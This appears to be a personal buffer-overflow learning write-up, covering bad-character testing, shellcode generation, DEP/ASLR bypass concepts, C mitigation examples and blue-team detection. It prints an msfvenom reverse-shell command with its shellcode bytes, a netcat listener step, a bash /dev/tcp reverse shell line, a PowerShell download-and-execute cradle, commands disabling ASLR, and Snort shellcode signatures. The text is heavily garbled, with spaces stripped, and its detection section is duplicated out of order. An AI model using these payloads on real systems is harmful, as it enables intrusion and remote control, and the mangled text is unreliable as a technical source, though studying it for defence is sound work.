1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

